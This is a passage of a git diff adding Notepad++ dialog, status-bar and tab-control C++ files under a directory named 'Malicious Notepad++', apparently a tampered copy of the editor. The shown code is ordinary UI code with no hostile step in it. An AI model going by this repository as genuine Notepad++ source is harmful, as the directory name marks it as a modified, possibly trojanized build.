TEXT("In StaticDialog::create()"), MB_OK); + return; + } + + // if the destination of message NPPM_MODELESSDIALOG is not its parent, then it's the grand-parent + ::SendMessage(msgDestParent ? _hParent : (::GetParent(_hParent)), NPPM_MODELESSDIALOG, MODELESSDIALOGADD, reinterpret_cast(_hSelf)); +} + +INT_PTR CALLBACK StaticDialog::dlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_INITDIALOG: + { + StaticDialog *pStaticDlg = reinterpret_cast(lParam); + pStaticDlg->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, static_cast(lParam)); + ::GetWindowRect(hwnd, &(pStaticDlg->_rc)); + pStaticDlg->run_dlgProc(message, wParam, lParam); + + return TRUE; + } + + default: + { + StaticDialog *pStaticDlg = reinterpret_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA)); + if (!pStaticDlg) + return FALSE; + return pStaticDlg->run_dlgProc(message, wParam, lParam); + } + } +} + +void StaticDialog::alignWith(HWND handle, HWND handle2Align, PosAlign pos, POINT & point) +{ + RECT rc, rc2; + ::GetWindowRect(handle, &rc); + + point.x = rc.left; + point.y = rc.top; + + switch (pos) + { + case PosAlign::left: + { + ::GetWindowRect(handle2Align, &rc2); + point.x -= rc2.right - rc2.left; + break; + } + case PosAlign::right: + { + ::GetWindowRect(handle, &rc2); + point.x += rc2.right - rc2.left; + break; + } + case PosAlign::top: + { + ::GetWindowRect(handle2Align, &rc2); + point.y -= rc2.bottom - rc2.top; + break; + } + case PosAlign::bottom: + { + ::GetWindowRect(handle, &rc2); + point.y += rc2.bottom - rc2.top; + break; + } + } + + ::ScreenToClient(_hSelf, &point); +} diff --git a/Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.h b/Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.h new file mode 100644 index 0000000..7e912f0 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.h @@ -0,0 +1,81 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include "Notepad_plus_msgs.h" +#include "Window.h" + +typedef HRESULT (WINAPI * ETDTProc) (HWND, DWORD); + +enum class PosAlign { left, right, top, bottom }; + +struct DLGTEMPLATEEX +{ + WORD dlgVer; + WORD signature; + DWORD helpID; + DWORD exStyle; + DWORD style; + WORD cDlgItems; + short x; + short y; + short cx; + short cy; + // The structure has more fields but are variable length +}; + +class StaticDialog : public Window +{ +public : + virtual ~StaticDialog(); + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true); + + virtual bool isCreated() const { + return (_hSelf != NULL); + } + + void goToCenter(); + + void display(bool toShow = true) const; + + POINT getTopPoint(HWND hwnd, bool isLeft = true) const; + + bool isCheckedOrNot(int checkControlID) const + { + return (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, checkControlID), BM_GETCHECK, 0, 0)); + } + + virtual void destroy() override; + +protected: + RECT _rc; + static INT_PTR CALLBACK dlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) = 0; + + void alignWith(HWND handle, HWND handle2Align, PosAlign pos, POINT & point); + HGLOBAL makeRTLResource(int dialogID, DLGTEMPLATE **ppMyDlgTemplate); +}; diff --git a/Malicious Notepad++/src/WinControls/StatusBar/StatusBar.cpp b/Malicious Notepad++/src/WinControls/StatusBar/StatusBar.cpp new file mode 100644 index 0000000..bc515e7 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StatusBar/StatusBar.cpp @@ -0,0 +1,166 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include +#include +#include "StatusBar.h" +#include +#include + +//#define IDC_STATUSBAR 789 + + + +enum +{ + defaultPartWidth = 5, +}; + + + + +StatusBar::~StatusBar() +{ + if (_lpParts != nullptr) + delete[] _lpParts; +} + + +void StatusBar::init(HINSTANCE /*hInst*/, HWND /*hPere*/) +{ + assert(false and "should never be called"); +} + + +void StatusBar::init(HINSTANCE hInst, HWND hPere, int nbParts) +{ + Window::init(hInst, hPere); + InitCommonControls(); + + // _hSelf = CreateStatusWindow(WS_CHILD | WS_CLIPSIBLINGS, NULL, _hParent, IDC_STATUSBAR); + _hSelf = ::CreateWindowEx( + 0, + STATUSCLASSNAME, + TEXT(""), + WS_CHILD | SBARS_SIZEGRIP , + 0, 0, 0, 0, + _hParent, nullptr, _hInst, 0); + + if (!_hSelf) + throw std::runtime_error("StatusBar::init : CreateWindowEx() function return null"); + + + _partWidthArray.clear(); + if (nbParts > 0) + _partWidthArray.resize(nbParts, defaultPartWidth); + + // Allocate an array for holding the right edge coordinates. + if (_partWidthArray.size()) + _lpParts = new int[_partWidthArray.size()]; + + RECT rc; + ::GetClientRect(_hParent, &rc); + adjustParts(rc.right); +} + + +bool StatusBar::setPartWidth(int whichPart, int width) +{ + if ((size_t) whichPart < _partWidthArray.size()) + { + _partWidthArray[whichPart] = width; + return true; + } + assert(false and "invalid status bar index"); + return false; +} + + +void StatusBar::destroy() +{ + ::DestroyWindow(_hSelf); +} + + +void StatusBar::reSizeTo(const RECT& rc) +{ + ::MoveWindow(_hSelf, rc.left, rc.top, rc.right, rc.bottom, TRUE); + adjustParts(rc.right); + redraw(); +} + + +int StatusBar::getHeight() const +{ + return (FALSE != ::IsWindowVisible(_hSelf)) ? Window::getHeight() : 0; +} + + +void StatusBar::adjustParts(int clientWidth) +{ + // Calculate the right edge coordinate for each part, and + // copy the coordinates to the array. + int nWidth = std::max(clientWidth - 20, 0); + + for (int i = static_cast(_partWidthArray.size()) - 1; i >= 0; i--) + { + _lpParts[i] = nWidth; + nWidth -= _partWidthArray[i]; + } + + // Tell the status bar to create the window parts. + ::SendMessage(_hSelf, SB_SETPARTS, _partWidthArray.size(), reinterpret_cast(_lpParts)); +} + + +bool StatusBar::setText(const TCHAR* str, int whichPart) +{ + if ((size_t) whichPart < _partWidthArray.size()) + { + if (str != nullptr) + _lastSetText = str; + else + _lastSetText.clear(); + + return (TRUE == ::SendMessage(_hSelf, SB_SETTEXT, whichPart, reinterpret_cast(_lastSetText.c_str()))); + } + assert(false and "invalid status bar index"); + return false; +} + + +bool StatusBar::setOwnerDrawText(const TCHAR* str) +{ + if (str != nullptr) + _lastSetText = str; + else + _lastSetText.clear(); + + return (::SendMessage(_hSelf, SB_SETTEXT, SBT_OWNERDRAW, reinterpret_cast(_lastSetText.c_str())) == TRUE); +} diff --git a/Malicious Notepad++/src/WinControls/StatusBar/StatusBar.h b/Malicious Notepad++/src/WinControls/StatusBar/StatusBar.h new file mode 100644 index 0000000..cadad03 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StatusBar/StatusBar.h @@ -0,0 +1,65 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once + +#ifndef _WIN32_IE +#define _WIN32_IE 0x0600 +#endif //_WIN32_IE + +#include "Window.h" +#include "Common.h" +#include + + + +class StatusBar final : public Window +{ +public: + virtual ~StatusBar(); + + void init(HINSTANCE hInst, HWND hPere, int nbParts); + + bool setPartWidth(int whichPart, int width); + + virtual void destroy() override; + virtual void reSizeTo(const RECT& rc); + + int getHeight() const; + + bool setText(const TCHAR* str, int whichPart); + bool setOwnerDrawText(const TCHAR* str); + void adjustParts(int clientWidth); + + +private: + virtual void init(HINSTANCE hInst, HWND hPere) override; + +private: + std::vector _partWidthArray; + int *_lpParts = nullptr; + generic_string _lastSetText; +}; \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/TabBar/ControlsTab.cpp b/Malicious Notepad++/src/WinControls/TabBar/ControlsTab.cpp new file mode 100644 index 0000000..16a0b1d --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TabBar/ControlsTab.cpp @@ -0,0 +1,101 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "ControlsTab.h" + +void ControlsTab::createTabs(WindowVector & winVector) +{ + _pWinVector = &winVector; + + for (size_t i = 0, len = winVector.size(); i < len; ++i) + TabBar::insertAtEnd(winVector[i]._name.c_str()); + + TabBar::activateAt(0); + activateWindowAt(0); +} + +void ControlsTab::activateWindowAt(int index) +{ + if (index == _current) return; + (*_pWinVector)[_current]._dlg->display(false); + (*_pWinVector)[index]._dlg->display(true); + _current = index; +} + +void ControlsTab::reSizeTo(RECT & rc) +{ + TabBar::reSizeTo(rc); + rc.left += marge; + rc.top += marge; + + //-- We do those dirty things + //-- because it's a "vertical" tab control + if (_isVertical) + { + rc.right -= 40; + rc.bottom -= 20; + if (getRowCount() == 2) + { + rc.right -= 20; + } + } + //-- end of dirty things + rc.bottom -= 55; + rc.right -= 20; + + (*_pWinVector)[_current]._dlg->reSizeTo(rc); + (*_pWinVector)[_current]._dlg->redraw(); + +} + +bool ControlsTab::renameTab(const TCHAR *internalName, const TCHAR *newName) +{ + bool foundIt = false; + size_t i = 0; + for (size_t len = _pWinVector->size(); i < len; ++i) + { + if ((*_pWinVector)[i]._internalName == internalName) + { + foundIt = true; + break; + } + } + if (!foundIt) + return false; + + renameTab(i, newName); + return true; +} + +void ControlsTab::renameTab(size_t index, const TCHAR *newName) +{ + TCITEM tie; + tie.mask = TCIF_TEXT; + tie.pszText = (TCHAR *)newName; + TabCtrl_SetItem(_hSelf, index, &tie); +} \ No newline at end of file diff --git a/Malicious Notepad++/src/WinControls/TabBar/ControlsTab.h b/Malicious Notepad++/src/WinControls/TabBar/ControlsTab.h new file mode 100644 index 0000000..6dc60af --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TabBar/ControlsTab.h @@ -0,0 +1,81 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "TabBar.h" +#include "Window.h" +#include "Common.h" + +struct DlgInfo +{ + Window *_dlg; + generic_string _name; + generic_string _internalName; + + DlgInfo(Window *dlg, TCHAR *name, TCHAR *internalName = NULL): _dlg(dlg), _name(name), _internalName(internalName?internalName:TEXT("")) {}; +}; + +typedef std::vector WindowVector; + + +class ControlsTab final : public TabBar +{ +public : + ControlsTab() = default; + virtual ~ControlsTab() = default; + + virtual void init(HINSTANCE hInst, HWND hwnd, bool isVertical = false, bool isMultiLine = false) + { + _isVertical = isVertical; + TabBar::init(hInst, hwnd, false, isMultiLine); + } + + void createTabs(WindowVector & winVector); + + void destroy() + { + TabBar::destroy(); + } + + virtual void reSizeTo(RECT & rc); + void activateWindowAt(int index); + + void clickedUpdate() + { + int indexClicked = int(::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0)); + activateWindowAt(indexClicked); + }; + void renameTab(size_t index, const TCHAR *newName); + bool renameTab(const TCHAR *internalName, const TCHAR *newName); + +private: + WindowVector *_pWinVector = nullptr; + int _current = 0; +}; + diff --git a/Malicious Notepad++/src/WinControls/TabBar/TabBar.cpp b/Malicious Notepad++/src/WinControls/TabBar/TabBar.cpp new file mode 100644 index 0000000..4bcecd6 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/TabBar/TabBar.cpp @@ -0,0 +1,1264 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + + +#include +#include "TabBar.h" +#include "Parameters.h" + +#define IDC_DRAG_TAB 1404 +#define IDC_DRAG_INTERDIT_TAB 1405 +#define IDC_DRAG_PLUS_TAB 1406 +#define IDC_DRAG_OUT_TAB 1407 + +bool TabBarPlus::_doDragNDrop = false; + +bool TabBarPlus::_drawTopBar = true; +bool TabBarPlus::_drawInactiveTab = true; +bool TabBarPlus::_drawTabCloseButton = false; +bool TabBarPlus::_isDbClk2Close = false; +bool TabBarPlus::_isCtrlVertical = false; +bool TabBarPlus::_isCtrlMultiLine = false; + +COLORREF TabBarPlus::_activeTextColour = ::GetSysColor(COLOR_BTNTEXT); +COLORREF TabBarPlus::_activeTopBarFocusedColour = RGB(250, 170, 60); +COLORREF TabBarPlus::_activeTopBarUnfocusedColour = RGB(250, 210, 150); +COLORREF TabBarPlus::_inactiveTextColour = grey; +COLORREF TabBarPlus::_inactiveBgColour = RGB(192, 192, 192); + +HWND TabBarPlus::_hwndArray[nbCtrlMax] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; +int TabBarPlus::_nbCtrl = 0; + +void TabBar::init(HINSTANCE hInst, HWND parent, bool isVertical, bool isMultiLine) +{ + Window::init(hInst, parent); + int vertical = isVertical?(TCS_VERTICAL | TCS_MULTILINE | TCS_RIGHTJUSTIFY):0; + + _isVertical = isVertical; + _isMultiLine = isMultiLine; + + INITCOMMONCONTROLSEX icce; + icce.dwSize = sizeof(icce); + icce.dwICC = ICC_TAB_CLASSES; + InitCommonControlsEx(&icce); + int multiLine = isMultiLine ? TCS_MULTILINE : 0; + + int style = WS_CHILD | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_VISIBLE |\ + TCS_FOCUSNEVER | TCS_TABS | WS_TABSTOP | vertical | multiLine; + + _hSelf = ::CreateWindowEx( + 0, + WC_TABCONTROL, + TEXT("Tab"), + style, + 0, 0, 0, 0, + _hParent, + NULL, + _hInst, + 0); + + if (!_hSelf) + { + throw std::runtime_error("TabBar::init : CreateWindowEx() function return null"); + } +} + + +void TabBar::destroy() +{ + if (_hFont) + DeleteObject(_hFont); + + if (_hLargeFont) + DeleteObject(_hLargeFont); + + if (_hVerticalFont) + DeleteObject(_hVerticalFont); + + if (_hVerticalLargeFont) + DeleteObject(_hVerticalLargeFont); + + ::DestroyWindow(_hSelf); + _hSelf = NULL; +} + + +int TabBar::insertAtEnd(const TCHAR *subTabName) +{ + TCITEM tie; + tie.mask = TCIF_TEXT | TCIF_IMAGE; + int index = -1; + + if (_hasImgLst) + index = 0; + tie.iImage = index; + tie.pszText = (TCHAR *)subTabName; + return int(::SendMessage(_hSelf, TCM_INSERTITEM, _nbItem++, reinterpret_cast(&tie))); +} + + +void TabBar::getCurrentTitle(TCHAR *title, int titleLen) +{ + TCITEM tci; + tci.mask = TCIF_TEXT; + tci.pszText = title; + tci.cchTextMax = titleLen-1; + ::SendMessage(_hSelf, TCM_GETITEM, getCurrentTabIndex(), reinterpret_cast(&tci)); +} + + +void TabBar::setFont(TCHAR *fontName, int fontSize) +{ + if (_hFont) + ::DeleteObject(_hFont); + + _hFont = ::CreateFont( fontSize, 0, + (_isVertical) ? 900:0, + (_isVertical) ? 900:0, + FW_NORMAL, + 0, 0, 0, 0, + 0, 0, 0, 0, + fontName); + if (_hFont) + ::SendMessage(_hSelf, WM_SETFONT, reinterpret_cast(_hFont), 0); +} + + +void TabBar::activateAt(int index) const +{ + if (getCurrentTabIndex() != index) + { + // TCS_BUTTONS needs both set or two tabs can appear selected + if (::GetWindowLongPtr(_hSelf, GWL_STYLE) & TCS_BUTTONS) + { + ::SendMessage(_hSelf, TCM_SETCURFOCUS, index, 0); + } + + ::SendMessage(_hSelf, TCM_SETCURSEL, index, 0); + } + + TBHDR nmhdr; + nmhdr._hdr.hwndFrom = _hSelf; + nmhdr._hdr.code = TCN_SELCHANGE; + nmhdr._hdr.idFrom = reinterpret_cast(this); + nmhdr._tabOrigin = index; +} + + +void TabBar::deletItemAt(size_t index) +{ + if ((index == _nbItem-1)) + { + //prevent invisible tabs. If last visible tab is removed, other tabs are put in view but not redrawn + //Therefore, scroll one tab to the left if only one tab visible + if (_nbItem > 1) + { + RECT itemRect; + ::SendMessage(_hSelf, TCM_GETITEMRECT, index, reinterpret_cast(&itemRect)); + if (itemRect.left < 5) //if last visible tab, scroll left once (no more than 5px away should be safe, usually 2px depending on the drawing) + { + //To scroll the tab control to the left, use the WM_HSCROLL notification + //Doesn't really seem to be documented anywhere, but the values do match the message parameters + //The up/down control really is just some sort of scrollbar + //There seems to be no negative effect on any internal state of the tab control or the up/down control + int wParam = MAKEWPARAM(SB_THUMBPOSITION, index - 1); + ::SendMessage(_hSelf, WM_HSCROLL, wParam, 0); + + wParam = MAKEWPARAM(SB_ENDSCROLL, index - 1); + ::SendMessage(_hSelf, WM_HSCROLL, wParam, 0); + } + } + } + ::SendMessage(_hSelf, TCM_DELETEITEM, index, 0); + _nbItem--; +} + + +void TabBar::setImageList(HIMAGELIST himl) +{ + _hasImgLst = true; + ::SendMessage(_hSelf, TCM_SETIMAGELIST, 0, reinterpret_cast(himl)); +} + + +void TabBar::reSizeTo(RECT & rc2Ajust) +{ + RECT rowRect; + int rowCount, tabsHight; + + // Important to do that! + // Otherwise, the window(s) it contains will take all the resouce of CPU + // We don't need to resize the contained windows if they are even invisible anyway + display(rc2Ajust.right > 10); + RECT rc = rc2Ajust; + Window::reSizeTo(rc); + + // Do our own calculations because TabCtrl_AdjustRect doesn't work + // on vertical or multi-lined tab controls + + rowCount = TabCtrl_GetRowCount(_hSelf); + TabCtrl_GetItemRect(_hSelf, 0, &rowRect); + + int larger = _isVertical ? rowRect.right : rowRect.bottom; + int smaller = _isVertical ? rowRect.left : rowRect.top; + int marge = 0; + + LONG_PTR style = ::GetWindowLongPtr(_hSelf, GWL_STYLE); + if (rowCount == 1) + { + style &= ~TCS_BUTTONS; + } + else // (rowCount >= 2) + { + style |= TCS_BUTTONS; + marge = (rowCount - 2) * 3; // in TCS_BUTTONS mode, each row has few pixels higher + } + + ::SetWindowLongPtr(_hSelf, GWL_STYLE, style); + tabsHight = rowCount * (larger - smaller) + marge; + tabsHight += GetSystemMetrics(_isVertical ? SM_CXEDGE : SM_CYEDGE); + + if (_isVertical) + { + rc2Ajust.left += tabsHight; + rc2Ajust.right -= tabsHight; + } + else + { + rc2Ajust.top += tabsHight; + rc2Ajust.bottom -= tabsHight; + } +} + + +void TabBarPlus::destroy() +{ + TabBar::destroy(); + ::DestroyWindow(_tooltips); + _tooltips = NULL; +} + + +void TabBarPlus::init(HINSTANCE hInst, HWND parent, bool isVertical, bool isMultiLine) +{ + Window::init(hInst, parent); + int vertical = isVertical?(TCS_VERTICAL | TCS_MULTILINE | TCS_RIGHTJUSTIFY):0; + _isVertical = isVertical; + _isMultiLine = isMultiLine; + + INITCOMMONCONTROLSEX icce; + icce.dwSize = sizeof(icce); + icce.dwICC = ICC_TAB_CLASSES; + InitCommonControlsEx(&icce); + int multiLine = isMultiLine ? TCS_MULTILINE : 0; + + int style = WS_CHILD | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_VISIBLE | TCS_FOCUSNEVER | TCS_TABS | vertical | multiLine; + + style |= TCS_OWNERDRAWFIXED; + + _hSelf = ::CreateWindowEx( + 0, + WC_TABCONTROL, + TEXT("Tab"), + style, + 0, 0, 0, 0, + _hParent, + NULL, + _hInst, + 0); + + if (!_hSelf) + { + throw std::runtime_error("TabBarPlus::init : CreateWindowEx() function return null"); + } + + _tooltips = ::CreateWindowEx( + 0, + TOOLTIPS_CLASS, + NULL, + TTS_ALWAYSTIP | TTS_NOPREFIX, + 0, 0, 0, 0, + _hParent, + NULL, + _hInst, + 0); + + if (!_tooltips) + { + throw std::runtime_error("TabBarPlus::init : tooltip CreateWindowEx() function return null"); + } + ::SendMessage(_hSelf, TCM_SETTOOLTIPS, reinterpret_cast(_tooltips), 0); + + if (!_hwndArray[_nbCtrl]) + { + _hwndArray[_nbCtrl] = _hSelf; + _ctrlID = _nbCtrl; + } + else + { + int i = 0; + bool found = false; + for ( ; i < nbCtrlMax && !found ; ++i) + if (!_hwndArray[i]) + found = true; + if (!found) + { + _ctrlID = -1; + destroy(); + throw std::runtime_error("TabBarPlus::init : Tab Control error - Tab Control # is over its limit"); + } + _hwndArray[i] = _hSelf; + _ctrlID = i; + } + ++_nbCtrl; + + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, reinterpret_cast(this)); + _tabBarDefaultProc = reinterpret_cast(::SetWindowLongPtr(_hSelf, GWLP_WNDPROC, reinterpret_cast(TabBarPlus_Proc))); + + LOGFONT LogFont; + + _hFont = (HFONT)::SendMessage(_hSelf, WM_GETFONT, 0, 0); + + if (_hFont == NULL) + _hFont = (HFONT)::GetStockObject(DEFAULT_GUI_FONT); + + if (_hLargeFont == NULL) + _hLargeFont = (HFONT)::GetStockObject(SYSTEM_FONT); + + if (::GetObject(_hFont, sizeof(LOGFONT), &LogFont) != 0) + { + LogFont.lfEscapement = 900; + LogFont.lfOrientation = 900; + _hVerticalFont = CreateFontIndirect(&LogFont); + + LogFont.lfWeight = 900; + _hVerticalLargeFont = CreateFontIndirect(&LogFont); + } +} + + +void TabBarPlus::doOwnerDrawTab() +{ + ::SendMessage(_hwndArray[0], TCM_SETPADDING, 0, MAKELPARAM(6, 0)); + for (int i = 0 ; i < _nbCtrl ; ++i) + { + if (_hwndArray[i]) + { + LONG_PTR style = ::GetWindowLongPtr(_hwndArray[i], GWL_STYLE); + if (isOwnerDrawTab()) + style |= TCS_OWNERDRAWFIXED; + else + style &= ~TCS_OWNERDRAWFIXED; + + ::SetWindowLongPtr(_hwndArray[i], GWL_STYLE, style); + ::InvalidateRect(_hwndArray[i], NULL, TRUE); + + const int paddingSizeDynamicW = NppParameters::getInstance()->_dpiManager.scaleX(6); + const int paddingSizePlusClosebuttonDynamicW = NppParameters::getInstance()->_dpiManager.scaleX(9); + ::SendMessage(_hwndArray[i], TCM_SETPADDING, 0, MAKELPARAM(_drawTabCloseButton ? paddingSizePlusClosebuttonDynamicW : paddingSizeDynamicW, 0)); + } + } +} + + +void TabBarPlus::setColour(COLORREF colour2Set, tabColourIndex i) +{ + switch (i) + { + case activeText: + _activeTextColour = colour2Set; + break; + case activeFocusedTop: + _activeTopBarFocusedColour = colour2Set; + break; + case activeUnfocusedTop: + _activeTopBarUnfocusedColour = colour2Set; + break; + case inactiveText: + _inactiveTextColour = colour2Set; + break; + case inactiveBg : + _inactiveBgColour = colour2Set; + break; + default : + return; + } + doOwnerDrawTab(); +} + + +void TabBarPlus::doVertical() +{ + for (int i = 0 ; i < _nbCtrl ; ++i) + { + if (_hwndArray[i]) + SendMessage(_hwndArray[i], WM_TABSETSTYLE, isVertical(), TCS_VERTICAL); + } +} + + +void TabBarPlus::doMultiLine() +{ + for (int i = 0 ; i < _nbCtrl ; ++i) + { + if (_hwndArray[i]) + SendMessage(_hwndArray[i], WM_TABSETSTYLE, isMultiLine(), TCS_MULTILINE); + } +} + +void TabBarPlus::notify(int notifyCode, int tabIndex) +{ + TBHDR nmhdr; + nmhdr._hdr.hwndFrom = _hSelf; + nmhdr._hdr.code = notifyCode; + nmhdr._hdr.idFrom = reinterpret_cast(this); + nmhdr._tabOrigin = tabIndex; + ::SendMessage(_hParent, WM_NOTIFY, 0, reinterpret_cast(&nmhdr)); +} + +void TabBarPlus::trackMouseEvent(DWORD event2check) +{ + TRACKMOUSEEVENT tme = {}; + tme.cbSize = sizeof(tme); + tme.dwFlags = event2check; + tme.hwndTrack = _hSelf; + TrackMouseEvent(&tme); +} + +LRESULT TabBarPlus::runProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + // Custom window message to change tab control style on the fly + case WM_TABSETSTYLE: + { + LONG_PTR style = ::GetWindowLongPtr(hwnd, GWL_STYLE); + + if (wParam > 0) + style |= lParam; + else + style &= ~lParam; + + _isVertical = ((style & TCS_VERTICAL) != 0); + _isMultiLine = ((style & TCS_MULTILINE) != 0); + + ::SetWindowLongPtr(hwnd, GWL_STYLE, style); + ::InvalidateRect(hwnd, NULL, TRUE); + + return TRUE; + } + + case WM_MOUSEWHEEL: + { + // .............................................................................. + // MOUSEWHEEL: + // will scroll the tab bar area (similar to Firefox's tab scrolling), + // it only happens if not in multi-line mode and at least one tab is hidden + // .............................................................................. + // CTRL + MOUSEWHEEL: + // will do previous/next tab WITH scroll wrapping (endless loop) + // .............................................................................. + // SHIFT + MOUSEWHEEL: + // if _doDragNDrop is enabled, then moves the tab, otherwise switches + // to previous/next tab WITHOUT scroll wrapping (stops at first/last tab) + // .............................................................................. + // CTRL + SHIFT + MOUSEWHEEL: + // will switch to the first/last tab + // .............................................................................. + + if (_isDragging) + return TRUE; + + const bool isForward = ((short)HIWORD(wParam)) < 0; // wheel rotation towards the user will be considered as forward direction + const int lastTabIndex = static_cast(::SendMessage(_hSelf, TCM_GETITEMCOUNT, 0, 0) - 1); + + if ((wParam & MK_CONTROL) && (wParam & MK_SHIFT)) + { + setActiveTab((isForward ? lastTabIndex : 0)); + } + else if ((wParam & MK_SHIFT) && _doDragNDrop) + { + int oldTabIndex = static_cast(::SendMessage(_hSelf, TCM_GETCURSEL, 0, 0)); + int newTabIndex = oldTabIndex + (isForward ? 1 : -1); + + if (newTabIndex < 0) + { + newTabIndex = lastTabIndex; // wrap scrolling + } + else if (newTabIndex > lastTabIndex) + { + newTabIndex = 